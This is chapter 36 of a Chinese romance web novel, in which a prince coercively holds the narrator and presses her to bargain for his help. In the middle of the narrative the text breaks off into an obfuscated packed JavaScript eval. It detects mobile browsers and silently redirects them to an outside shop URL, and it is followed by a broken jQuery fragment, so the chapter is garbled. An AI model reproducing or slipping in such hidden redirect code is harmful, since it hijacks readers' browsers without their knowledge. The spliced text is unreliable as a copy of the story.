36. 做个好人
    虽然我早就知晓答案,可我的心还是猛然一颤。

    “不可以。”

    我立刻抽回我的手,背过身去,坚定地吐出这三个字。

    “你也要同我讲那些话?”他好像站起身来,我听见椅子在地上拖蹭的声音,“我不当真的。”

    “殿下想做把头埋进沙土里的鸵鸟,我不拦你。”

    “但我这样的人,为达目的,是什么样的事情都敢做,什么样人都能利用。我……”

    他突然伸手来拽我,把我拽进他怀里,那些他不爱听的话,根本不给我机会说出口。

    “你这样的人?你是什么样的人?”

    他诘问,一手从后环住我的腰,摁住我的腰肢就把我往他身上带,“赵谖,你知不知道你现在的样子,很讨人喜欢?”

    他说得轻薄无赖,我背倚着他,看不见他的神态。

    灼热的呼吸从耳后传来,他身上淡淡的沉香味道竟也都化作丝丝情欲。

    我偏过头想躲过属于他的气息,他却偏不让我好过,不给我喘息的余地。

    他的头抵在我的锁骨处,我望见他苍白的脸上也有了生动的色彩,鼻梁上的那颗小痣此刻更像是撩人的点缀。

    “你放开我!”

    我挣扎着就想脱离他的掌控,甚至用脚去踩他的脚。

    可是他巍然不动,鼻间轻哼一声,却用甜腻的口吻娓娓道来:“就凭你现在的样子,你想利用谁?下次说话之前先想想清楚,你对面的那个人,是谁!”

    “我不是我的二弟谢昭,更不是你的那位宋小公子,轻易就会被你的三言两语吓得不敢往前。”

    “我是谢停舟!是从死人堆里浑身血腥爬出来的,是在阴狠诡谲的地狱里苟延残喘的谢停舟!”

    “你可千万别忘了,我是谁!”

    话毕,他环在我腰上的手渐渐松开,喷发在我的脖颈的气息也悄然而去,嘴角还残留着一抹笑。

    我立刻跳脱出他的怀抱,不受控制地往后退了好几步,直至身体撞到帘柱才停下。

    他手掌反转撑在案上,半个身体的重量就这样懒懒散散地斜倚着。

    他领口有些歪斜,露出白色的里衣和有些擦红的胸膛。墨色的发带松垮下来,发丝凌乱,有些从胸前落下,半遮半掩。

    “利用完就把人甩开的本事,倒是见长。”

    他眸子幽深,全然不顾此刻的狼狈之相,慢条斯理地开口道,“你要是喜欢,我也可以。”

    他的眼眉轻挑,微扬着下巴看着我。

    他在期待。

    我的脊背贴在柱子上,身侧等人高的灯盏烧得我脸颊发烫,我不甘示弱地瞪着他,只觉得血气上涌。

    他在威胁我,他在用我说的话威胁我。

    宽大的外袍从他的肩膀上滑落,一半拖垂在地上,烛火跃动,他的脸忽明忽暗,独独那双眼眸,好生熟悉。

    那合该是皇上的眼眸。

    僵持了一会儿,他嘴角那抹若有似无的笑意退却干净,他挺直身体,随后微微摇了摇头。

    案上的纸张凌乱,砚台上的那只毛笔也滚落在旁,墨渍肆无忌惮地侵入他的袖口,就像是留白过多的水墨画。

    “逃不过的。”

    “本来我以为我可以做得天衣无缝,即便是牺牲了我的母亲,我也可以保全其他人。”

    “但是现在我发现,我根本就做不到。”

    我望着他,绝望如潮水一般席卷而来,双足像被灌了铅一般无法挪动,

    “我就是待宰的羔羊,被豢养的丝雀,一举一动都被旁人看得清清楚楚,随意拿捏。”

    “没可能的。”

    而他的眼睛就像是望不见底的海水,仿若我说再多也掀不起波澜。

    右边脸颊被烤得生疼,我微微偏头,目光正好落在他垂着的手上。

    “疼么?”

    我的声音低下去,就像是梦中呓语。

    “想放过他们?”

    他不接我话,把我那些长篇大论背后的想法抛还给我。

    心口就像被一双手狠狠捏住,剧烈的疼痛沁入肺腑,连呼吸都觉得困难。耳畔嘶鸣,把我这些日子所做的一切努力都撕得粉碎。

    “还想做个好人?”

    他随手把毛笔挂在笔架上,把纸张整理好,卷成一卷,握在手心,“还想拿自己去换?”

    “还想要我帮你?”

    “你还真是敢想!”

    他手里的纸张终究还是被他揉皱,狠狠地攥成团,好像下一秒就要落到我的头上。

    他指节泛白,喉结上下滚动了几下,狠戾的气息全数发散出来,再睁眼时,眸底竟平添了一抹无悲无喜的漠然,他勉强吐出两个字:“过来。”

    我没想到会闹到这种地步,看着他苍白的脸色以及领口袖口处若有似无的血迹,不敢违抗,只好乖乖走过去。

    他的手先是抚上我的脸颊,然后是鼻尖,最后落在唇畔。

    “谢昭为你触怒龙颜,和戚贵妃的关系更是闹得难堪,也敢斩断左膀右臂,往自己的路上再设几道关卡。”

    “那位宋小公子更是为了你,不惜在生辰宴上演了一番痴情的戏码,可到头来还不是一场空?现下恐怕连婚事都难寻,更别提家族受累。”

    “还有周闻安。”

    “嗯?他算是你的谁?也敢豁出命去帮你?”

    一桩一件从他嘴里说出来,轻描淡写地好像在讲一些闲话家常,却说得我心底发寒。

    微凉的指尖在我的唇上摩挲,更是让我不敢妄动,

    “如此算来,帮你,不是一件好的交易。”

    “更何况我可不是什么大善人,能同他们一样,为你做什么事情都不求回报,不计后果。”

    “要我帮你,是要付出代价的。”

    他渐渐逼近,鼻梁逐渐抵住我的,呼吸温热,喷在我的脸上,叫嚣着掠夺我的每一寸肌肤。

    “你想要什么?”

    我颤栗地开口,喑哑的过分,我分明感受到他再次被我挑起来的情欲。

    “我想要什么?”

    他轻笑出声,鼻梁连带着颤抖,碰撞,睫毛扫过我的眼下,就像是羽毛挠过的瘙痒感,让我忍不住皱起鼻子。

    他毫不费力就能迫使我仰起头,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689323|144358||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    正好能看见他眼底那抹恶趣味,“你以为,你能给我什么?”

    我何曾见过这般场面,心底发慌,余光又瞥见窗边那方黄梨木的卧榻,更是方寸大乱。

    我下意识就想撇过头挣脱他的桎梏,他早有防备,一把揽过我的腰,一转身把我抵在案台上。突如其来的变故让我惊慌失措,下意识伸手就拽住他的衣领。

    我被他圈入怀中。

    那方砚台连带着笔架、书本都被扫到地上,哐哐当当响了好一阵才停歇。

    “怎么不乖乖听话?”

    他的发犹如蛛网攀爬进我的脖颈里,黏腻地和他轻佻的口吻一般,让我不敢妄动,“不是想做我的棋子么?”

    他句句都是拿我的话来堵我,眼角眉梢都是胜者为王的傲气。

    可是他在生气。

    他在恼我为何明知他的心意,却依旧像对待旁人一般对待他。

    在恼我为何对待他人可以温柔体贴,对他却总是冷漠无情。

    我自知理亏,根本无力反驳,心里暗自后悔今日不该来这自讨苦吃,明日一早定早早套了车回府,远离这虎狼之窝。

    他望着我,咫尺之近,似乎对我的逃避很是不满,捏在我腰间的手收紧了些,话里的轻薄和玩弄都收敛了去,稍带着些鼻音:“你不过,就是仗着我喜欢你。”

    他的身体贴着我的,透过衣服传来的温度,足够让我脸颊红透。

    他突然的服软也让我难以招架。

    我僵着脖子,因为害怕而不得不伸出的手,此刻被他的胸膛压住不能动弹,我心虚到根本说不出完整的一句话来:“我并不是……”

    我只是害怕。

    我害怕我一旦沦陷就再也抽身不能,我害怕我一旦心存希望就再难妥协,我害怕一眼就能望到头的日子。

    我害怕所有不受控制的东西。

    “没可能的。”

    我心底生出些勇气来,抬眸对上他的眼,“我们之间,没可能的。”

    年少时,总期盼青梅竹马能够得偿所愿,长大了些,渐渐明白了有些事情不能强求,但还能够揣着明白装糊涂,最后哭哭啼啼地也算是放下了。

    可是他呢?

    我不知是因何动得心,但终究是动了心。

    他的心意于我而言,自然与旁人不同,我的一颗真心交付出去,自然也期待能得到另一颗真心。

    可我早已不是那个仅想买一根糖葫芦,就能追着小贩满街跑的小姑娘了。

    我许久没去西郊河畔摸过鱼,许久没研究过新的酿酒方子,许久没去茶馆里听说书先生讲故事,许久没去如意楼看花魁姑娘跳舞,就连话本子都许久未看了。

    我越来越喜欢在院子里发呆,有时候盯着花园里的花,一看就是下午。

    我觉得白昼越发漫长,黑夜却也是辗转难眠;我越来越喜欢抄写佛经,抄了一卷又一卷;越来越喜欢淡雅的山水画,那些颜料许久都没动过了。

    我总说自己长大了。

    因为这简简单单的两个字,能囊括所有的改变。

    更不论那些说不出口的怯懦,服软,自私,算计。